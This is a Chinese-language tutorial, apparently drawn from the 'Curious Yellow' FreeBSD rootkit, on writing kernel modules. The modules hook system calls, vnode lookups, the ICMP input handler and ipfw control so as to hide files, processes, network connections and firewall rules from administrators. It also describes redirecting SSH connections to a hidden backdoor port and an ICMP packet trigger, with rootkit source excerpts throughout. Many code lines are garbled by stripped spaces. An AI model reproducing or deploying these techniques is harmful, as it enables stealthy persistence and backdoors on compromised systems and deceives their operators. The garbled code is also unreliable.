1.介绍
首先介绍内核模块的概念,还有系统调用的概念,说明的一点就是freebsd安全级别问题,通常在2级就不可以加载模块了
可以用sysctl调整设置或者在/etc/rc.conf中增加如下条目在启动时调整:
kern_securelevel_enable="YES"
kern_securelevel="2"
本文only用来教育目的,:)所有涉及的代码都可以在CuriousYellow(CY)中找到.
1.2.内核模块
请参考scz@nsfocus前辈翻译的内核链接机制(KLD)编程指南>,如果你对linux的lkm了解,这个很好理解,
1.2一些有用的的函数
这里给出一些有用的函数,通常在系统调用中用到copyin/copyout/copyinstr/copyoutstr这几个函数可以用来从用户空间得到连续的大块数据,manpagecopy(9)可以得到更多了解,在KLDtutorial也可以找到
下面是个小例子来展示copyin的用法,我们构造了一个带有一个字符串指针做参数的系统调用,通过copyin把字符串从用户空间移动到内核空间来
structexample_call_args{
char*buffer;
};
int
example_call(structproc*p,structexample_call_args*uap)
{
interror;
charkernel_buffer_copy[BUFSIZE];
/*copyintheuserdata*/
error=copyin(uap->buffer,&kernel_buffer_copy,BUFSIZE);
[...]
}
fetch/store
这两个函数用来得到比较小块的数据,小到字节或者字长的数据
spl..
这个函数用来调整中断优先级,可以用来阻止某些中断处理程序的执行,下面的例子中当中断处理函数指针icmp_input修改时,因为它通常要经过一些时时间,所以我们要防止对这个中断的处理。
2.方法
这节列出一些常用的方法,将在后面的具体技术中使用,比如隐藏进程,网络连接。当然这些方法也可以用来实现其他的..
2.1.修改函数指针
最古老也最经常用的方法,修改函数指针,用来指向你的函数,或者通过改写/dev/kmem达到相同的目的。(下面)
注意当你修改了函数指针后,你的新的函数要和原来的函数有相同的调用参数。下面介绍了一些通常用来hook的内核函数
2.1.1系统调用
经典的hook方法,freebsd通过一个全局的sysent结构数组保持了一系列的系统调用,参见/sys/kern/init_sysent.c
structsysentsysent[]={
{0,(sy_call_t*)nosys}, /*0=syscall*/
{AS(rexit_args),(sy_call_t*)exit}, /*1=exit*/
{0,(sy_call_t*)fork}, /*2=fork*/
{AS(read_args),(sy_call_t*)read}, /*3=read*/
{AS(write_args),(sy_call_t*)write}, /*4=write*/
{AS(open_args),(sy_call_t*)open}, /*5=open*/
{AS(close_args),(sy_call_t*)close}, /*6=close*/
[...]
结构sysent在/sys/sys/syscall.h定义,还有系统调用号也在此文件中定义比方说你想替换open这个系统调用,在你的模块加载函数的MOD_LOAD节中这样做
sysent[SYS_open]=(sy_call_t*)your_new_open
然后在你的模块卸载节中修复原来的系统调用
sysent[SYS_open].sy_call=(sy_call_t*)open;
2.1.2.其它一些有用的表
系统调用不是唯一可以修改的地方,在freebsd内核中还有一些其它的地方也可以利用,特别是inetsw和各种文件系统的vnode表.
structipprotoswintesw[]保存了一系列被支持的inet协议的信息,这其中包括了当这种协议的数据报到达时或送出时用来处
理的函数参见/sys/netinet/in_proto.c得到更多的信息,所以我们也可以hook这里的函数:)
下面我们就可以在模块中hook了
inetsw[ip_protox[IPPROTO_ICMP]].pr_input=new_icmp_input;
通常每种文件系统的vnode表都是由多个具体的函数组成。所以我们可以替换它们来隐藏我们的文件。
ufs_vnodeop_p[VOFFSET(vop_lookup)]=(vop_t*)new_ufs_lookup;
在内核中当然还有很多地方可以hook,这就取决你的目的了,kernelsource是最重要的文档
2.1.3单个的函数指针
偶尔我们也会碰到单个的函数函数指针,比如说ip_fw_ctl_ptr,这个函数用来处理ipfw的请求,这里我们也可以用来hook。
2.2.修改内核队列
替换函数不够有意思呀:),也许你想修改内核中的一些数据,一些感兴趣的东西都以队列的形式存储在内核中,如果你从来没有
使用过/sys/sys/queue.h的一些宏,你先要熟悉一下它然后在进行下面的阅读。这可以让你轻松面对下面的kernelsource
并且在你使用这些宏时不会出错。
一些感兴趣的队列
进程队列:strucproclistallproc和zombproc也许你并不想修改这的东西因为进程调度的目的,除非你想重写大部分的
内核代码,但是你可以过滤它当有用户请求时。---http://www.bianceng.cn
linker_files队列:这个队列中包括了连接到了kernel的文件,每个文件可以包含多个模块,它的描述可以在这里找到(THCarticle)这篇文章的连接是http://www.thehackerschoice.com/papers/bsdkern.html),自己找吧。:)这个队列非常重要
当我们改变符号的地址,或者隐瞒这个文件所包含的模块。
模块队列:modulelist_t这个队列包含了加载的内核模块,注意这个模块队列区别于linker_files队列,这对于隐藏模块很重要
还是那句话,最好的文档就是kernelsource
2.3读写内核内存
模块并不是唯一的修改内核的途径,我们还可以直接修改内核空间通过/dev/kmem。
2.3.1.查找一个符号的地址
当你处理内核内存时,你首先感兴趣的是用来读写的符号的正确的地址(比如函数,变量),在freebsd中函数Fvm(3)提供了一些有用的的功能请参考manpage查询具体的用法,下面给出一个例子读取指定的符号的地址在CY包中可以找到tools/findsym.c.
[...]
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
struct nlist nl[] = { { NULL }, { NULL }, };
nl[0].n_name = argv[1];
kd = kvm_openfiles(NULL,NULL,NULL,O_RDONLY,errbuf);
if(!kd) {
fprintf(stderr,"ERROR: %s\n",errbuf);
exit(-1);
}
if(kvm_nlist(kd,nl) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}
if(nl[0].n_value)
printf("symbol %s is 0x%x at 0x%x\n",nl[0].n_name,nl[0].n_type,nl[0].n_value);
else
printf("%s not found\n",nl[0].n_name);
if(kvm_close(kd) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}
[...]
2.3.2读数据
现在你找到了一些正确的符号地址(比如说函数,变量),你可能想要读一些数据,利用函数kvm_read,代码tools/kvmread.c
和tools/listprocs.c提供了一个例子。
如果你想读取队列的全部,你只要找到队列头然后用next指针来找到下一个元素(结构体),同样你可以获得其他的数据通过
这个struct指针比如说用户的表示符(在这个结构中包含了uid,euid)下面给出了一个例子(在listproc.c),当我们找到了allproc的地址,这个队列的头就确定了
[...]
kvm_read(kd,nl[0].n_value, &allproc, sizeof(struct proclist)); //allproc 是所有进程的队列头
printf("PID\tUID\n\n");
for(p_ptr = allproc.lh_first; p_ptr; p_ptr = p.p_list.le_next) {
/* read this proc structure */
kvm_read(kd,(u_int32_t)p_ptr, &p, sizeof(struct proc)); //p_ptr指向结构proc 进程控制块
/* read the user credential */
kvm_read(kd,(u_int32_t)p.p_cred, &cred, sizeof(struct pcred));//p_cred 指向包含ruid,suid的结构pcred
printf("%d\t%d\n", p.p_pid, cred.p_ruid);
}
2.3.3修改内核代码
用同样的方法我们可以来写内核代码了,man函数kvm_write可以得到更多相关内容,后面将会给出一个例子。如果你现在不耐烦了请看一会tools/putjump.c吧
3.通常应用
3.1隐藏并重定向文件
一般最开始做的就是就是隐藏文件了,它也是最简单的,我们就从这里开始吧。
你的hook函数可以在不同的层次,简单的可以截获系统调用open,stat等等深入点你可以hook底层具体文件系统的lookup函数。
3.1.1通过系统调用
最普通的方法,嘿嘿,被许多工具使用过了,THC的文档有具体描述
(这篇文章的连接是http://www.thehackerschoice.com/papers/bsdkern.html)
这种方法通过截获open,stat,chmod系统调用来针对特别的文件,这种方法是最简单的。通过你提供的的新的系统调用new_open
检查带有某些特定的字符,来决定返回没有还是调用原来的open系统调用,例子来自于module/file-sysc.c:
int
new_open(structproc*p,registerstructopen_args*uap)
{
charname[NAME_MAX];
size_tsize;
/*getthesuppliedargumentsfromuserspace*/
if(copyinstr(uap->path,name,NAME_MAX,&size)==EFAULT)
return(EFAULT);
/*iftheentryshouldbehiddenandtheuserisnotmagic,returnnotfound*/
if(file_hidden(name)&&!(is_magic_user(p->p_cred->pc_ucred->cr_uid)))//检查特定文件名和用户uid
return(ENOENT);
return(open(p,uap));
}
还有一些类似的系统调用,只有getdirentries有一些特别,因为它返回一个目录列表,所以要多做一些变换(这个以前引起了不少的讨论,在linuxlkm中)。THC的文档有具体描述
(这篇文章的连接是http://www.thehackerschoice.com/papers/bsdkern.html)
或者你可以通过hook地层具体文件系统的某些函数,这种方法的好处就是不用修改系统调用表并且不被众多的系统调用所受限制。因为这些函数最终会调用它。在这里你还可以通过判断更多的条件来决定是否隐藏这个文件。
每种文件系统的vop(操作函数结构)决定了对不同种类操作所调用的函数,ufs文件系的vop可以在/sys/ufs/ufs/ufs_vnops.c
找到,procfs文件系统的vop可以在/sys/miscfs/procfs/procfs_vnops.c中找到,其它文件系统的可以找到。当你改变
lookup的同时,也要改变相应的cachedlookup函数(因为有缓存呀,找的时候先找缓存)
下面展示了一个例子代码来自module/file-ufs.c
intnew_ufs_lookup(structvop_cachedlookup_args*ap)
{
structcomponentname*cnp=ap->a_cnp;
if(file_hidden(cnp->cn_nameptr)&&
!(is_magic_user((cnp->cn_cred)->cr_uid))){
mod_debug("Hidingfile%s\n",cnp->cn_nameptr);
return(ENOENT);
}
return(old_ufs_lookup(ap));
}
在模块加载函数中
extern vop_t **ufs_vnodeop_p;
//static vop_t **ufs_vnodeop_p指向static struct vnodeopv_entry_desc ufs_vnodeop_entries[]
//在文件/sys/ufs/ufs/ufs_vnops.c
vop_t *old_ufs_lookup;
static int
load(struct module *module, int cmd, void *arg)
{
switch(cmd) {
case MOD_LOAD:
mod_debug("Replacing UFS lookup\n");
old_ufs_lookup = ufs_vnodeop_p[VOFFSET(vop_lookup)];
ufs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *) new_ufs_lookup;
break;
case MOD_UNLOAD:
mod_debug("Restoring UFS lookup\n");
ufs_vnodeop_p[VOFFSET(vop_lookup)] = old_ufs_lookup;
break;
default:
error = EINVAL;
break;
}
return(error);
}
看比替换系统调用费不了多点事,同样你需要修改ufs_readdir来防止getdirentries
3.1.3概要评论
文件重定向可以用多种方法来实现,你可以用指定的文件来代替被请求的文件,比如execve特定的文件,通过截获execve.
通常都很简单了,也许你想扩展用户空间,可以通过vm_map_find来实现CY中有一个例子展示,玩转freebsd内核模块(1)》(https://www.unjs.com)。
3.2 隐藏进程
还有一个通常要做得事就是隐藏进程,为了达到这个目的,你需要截获很多获得进程信息的方法,当然你也想保持对特定进程的追踪。每个进程的信息都存储在proc结构中,定义在/sys/sys/proc.h,结构中有一个标志域p_flag可以对进程设定
特殊的标志,所以我们设定一个新的标志#defineP_HIDDEN0x8000000这样当一个进程被隐藏时,我们通过这个标志
重新发现这个进程,module/control.c有一个例子来展示。---http://www.bianceng.cn
如果你用ps,它将会调用kvm_getprocs,它将通过带有下面的参数来调用sysctl
name[0]=CTL_KERN
name[1]=KERN_PROC
name[2]=KERN_PROC_PID,KERN_PROC_ARGSetc
name[3]cancontainthepidincaseinformationaboutonlyoneprocessisrequested.
name是一个数组包含了mib变量(类似于snmpmib),描述了请求的信息,例如,啥样的sysctl操作和具体的请求,下面包含了请求的子类型(相对KERN_PROC)来说
/*
*KERN_PROCsubtypes
*/
#defineKERN_PROC_ALL 0 /*everything*/
#defineKERN_PROC_PID 1 /*byprocessid*/
#defineKERN_PROC_PGRP 2 /*byprocessgroupid*/
#defineKERN_PROC_SESSION 3 /*bysessionofpid*/
#defineKERN_PROC_TTY 4 /*bycontrollingtty*/
#defineKERN_PROC_UID 5 /*byeffectiveuid*/
#defineKERN_PROC_RUID 6 /*byrealuid*/
#defineKERN_PROC_ARGS 7 /*get/setarguments/proctitle*/
这些调用最后会结束于__sysctl调用,THCarticle已经描述过了,我用另一种方法实现了它,代码在module/process.c
我们同样用这种方法来隐藏网络连接。
另外一种或的进程信息的方法就是通过procfs,你不需要知道数据的来源,因为它是内核动态产生的所以我们同样可以利用
在文件隐藏节中提到的两种方法来实现,下面我给出了通过hookproc'slookup函数的例子
/*
*replacementforprocfs_lookup,thiswillbeusedinthecasesomeonedoesn'tjust
*doalsin/procbuttriestoenteradirwithacertainpid
*/
int
new_procfs_lookup(structvop_lookup_args*ap)
{
structcomponentname*cnp=ap->a_cnp;
char*pname=cnp->cn_nameptr;
pid_tpid;
pid=atopid(pname,cnp->cn_namelen);
if(pid_hidden(pid)&&!(is_magic_user((cnp->cn_cred)->cr_uid)))
return(ENOENT);
return(old_procfs_lookup(ap));
}
Youwouldthenreplaceitwhenyouloadthemodule:
externstructvnodeopv_entry_descprocfs_vnodeop_entries[];
externstructvnodeopv_desc**vnodeopv_descs;
vop_t*old_procfs_lookup;
staticint
load(structmodule*module,intcmd,void*arg)
{
switch(cmd){
caseMOD_LOAD:
mod_debug("Replacingprocfs_lookup\n");
old_procfs_lookup=procfs_vnodeop_p[VOFFSET(vop_lookup)];
procfs_vnodeop_p[VOFFSET(vop_lookup)]=(vop_t*)new_procfs_lookup;
break;
caseMOD_UNLOAD:
mod_debug("Restoringprocfs_lookup\n");
procfs_vnodeop_p[VOFFSET(vop_lookup)]=old_procfs_lookup;
break;
default:
error=EINVAL;
break;
}
return(error);
}
3.2.2 隐藏子进程
也许你想隐藏子进程,防止被kill掉,可以通过截获fork或者kill来达到此目的,在上面的技术中也有很多可以利用的技术
module/process.c有一个例子
3.3.隐藏网络连接
为了逃避netstat-an的网络连接查询,我们采用象隐藏进程一样的方法,它通过同样调用sysctl来查询,当然mib变量是不一样的对于tcp连接来说:
name[0]=CTL_NET
name[1]=PF_INET
name[2]=IPPROTO_TCP
name[3]=TCPCTL_PCBLIST
像以前一样的方法,输出同样被过滤掉了,然后返回给用户层的sysctl,CY允许你来隐藏多样的连接通过cyctl,参照
module/process.c看如何修改的__sysctl.
3.4隐藏网络连接
另一个有趣的就是隐藏防火墙的规则,可以用你的函数简单的替换ip_fw_ctl函数,ip_fw_ctl是ipfw的控制函数,比如
添加,删除,列出规则。所以我们可以截获这个函数来表演了,;)
CY的控制函数提供了一个选项来隐藏特定的防火墙规则,象隐藏进程一样,我们可以设置一个标志来标识需要隐藏的的规则当沿着ipfw规则队列遍历时,每个规则都是一种结构structip_fw,这个结构的定义在/sys/netinet/ip_fw.h,结构
中有个条目叫做fw_flag,我们添加一个新的标志,命名为IP_FW_F_HIDDEN
#defineIP_FW_F_HIDDEN0x80000000
module/fw.c中展示了一个隐藏规则的例子,当用ipfw-l来列出规则时,它将调用这个函数并且操作码为IP_FW_GET,我们就可以 来处理这个请求来隐藏我们特定的规则,并把其他的规则传给原来的ip_fw_ctl,我们通过遍历整个防火墙规则队列,通过刚才设定的标志(fw_flag)来查找我们特定的规则,然后减少输出,来达到隐藏的目的。
既然freebsd的ipfw提供了forward和divert(类似于nat的一种功能,但是工作在应用层,与ipfilter的nat功能有本质的差别)
我们就可以利用它来实现后门了,我们可以在12345端口放一个后门,然后先通过前面讲的的隐藏网络连接的功能,隐藏这个listen的端口,然后添加一个规则,比如说我们一个“特定的主机“对22ssh的连接重定向到12345后门的连接,netstat就只能看见了22了, 因为后门的网络连接被隐藏了,所以从22到12345也就看不见了。
3.5.网络触发器(类似于嗅谈的协议后门:))
上面我们提到了inetsw,一个维持了一组协议信息的数组,协议信息中通常包含了当自己协议类行数据报到来时或传出时时调用的函数CY包含一个例子,它允许设定一个icmpecho请求到来时的触发器,首先我们要替换掉icmp_input,代码就在module/icmp.c
这里我们只需要把修改一点就可以了,icmpheader定义在/usr/include/netinet/ip_icmp.h
Partofmodule/icmp.c:
[...]
case ICMP_ECHO:
if (!icmpbmcastecho
&& (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
icmpstat.icps_bmcastecho++;
break;
}
/* check if the packet contains the specified trigger */
if(!strcmp(icp->icmp_data,ICMP_TRIGGER)) { //通过判定icmp数据是否包含特定的标志
mod_debug("ICMP trigger\n");
/* decrease receive stats */
icmpstat.icps_inhist[icp->icmp_type]--;
trigger_test(icp->icmp_data);
/* dont send a reply */
goto freeit;
}
[...]
when the module is loaded:
extern struct ipprotosw inetsw[];
extern u_char ip_protox[];
void *old_icmp_input;
static int
load(struct module *module, int cmd, void *arg)
{
switch(cmd) {
case MOD_LOAD:
mod_debug("Replacing ICMP Input\n");
old_icmp_input = inetsw[ip_protox[IPPROTO_ICMP]].pr_input;
inetsw[ip_protox[IPPROTO_ICMP]].pr_input = new_icmp_input;
break;
case MOD_UNLOAD:
mod_debug("Restoring icmp_input\n");
inetsw[ip_protox[IPPROTO_ICMP]].pr_input = old_icmp_input;
break;
default:
error = EINVAL;
break;
}
return(error);
}
CY中只是一个测试的函数,没有多大用,你可以作为例子来修改数据报中的内容然后放回到数据报的处理队列。